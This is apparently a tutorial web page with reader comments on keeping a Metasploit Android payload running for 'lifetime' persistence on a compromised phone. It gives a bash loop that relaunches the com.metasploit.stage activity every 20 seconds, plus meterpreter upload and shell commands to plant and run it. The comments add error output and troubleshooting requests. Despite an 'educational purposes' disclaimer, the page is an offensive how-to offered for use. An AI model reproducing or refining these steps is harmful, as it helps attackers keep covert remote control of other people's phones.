How to hack android persistence for lifetime with kali linux 2

How to hack android persistence for lifetime with kali linux 2

Video is ready, Click Here to View ×


How to hack android persistence for lifetime using metasploit with kali linux 2 (ONLY FOR EDUCATIONAL PURPOSES!!!)
scriptforandroid.sh:
#!/bin/bash
while true
do am start –user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done
commands
cd /
cd sdcard
upload /root/Desktop/scriptforandroid.sh /sdcard/
shell
cd /
cd sdcard
sh scriptforandroid.sh

Thank you for watching!!!
SUBSCRIBE, SHARE, LIKE !!!!!!!!

admin

32 Comments

Starting: Intent { act=android.intent.action.MAIN cmp=com.metasploit.stage/.MainActivity }
Error type 3
Error: Activity class {com.metasploit.stage/com.metasploit.stage.MainActivity} does not exist.

Correct me about the script: every 20 minutes the script open again the apk and reconnect the computer to Android or everytime the telephone has been restarted the script will do his job? Thanks
(Sorry for my bad English)

Hi,

I am getting this error while performing this step " meterpreter > upload /root/Desktop/scriptforandroid.sh /sdcard/"

meterpreter > upload /root/Desktop/scriptforandroid.sh /sdcard
[*] uploading : /root/Desktop/scriptforandroid.sh -> /sdcard
[-] core_channel_open: Operation failed: 1
meterpreter > upload /root/Desktop/scriptforandroid.sh /sdcard/
[*] uploading : /root/Desktop/scriptforandroid.sh -> /sdcard/
[-] core_channel_open: Operation failed: 1

Please help me with this..

Guys, this will not work for non-rooted phones even while placed inside SDCard. And even when rooted this will not be present after a reboot on all devices.

If anyone has found a work-around for this, it'd be great to hear here.

everything works cool til the last step where we have to do the step sh scriptforandroid. sh
and then javascript error or some kind of unknown error comes off ,what could be the reason?

Leave a Reply

Your email address will not be published. Required fields are marked *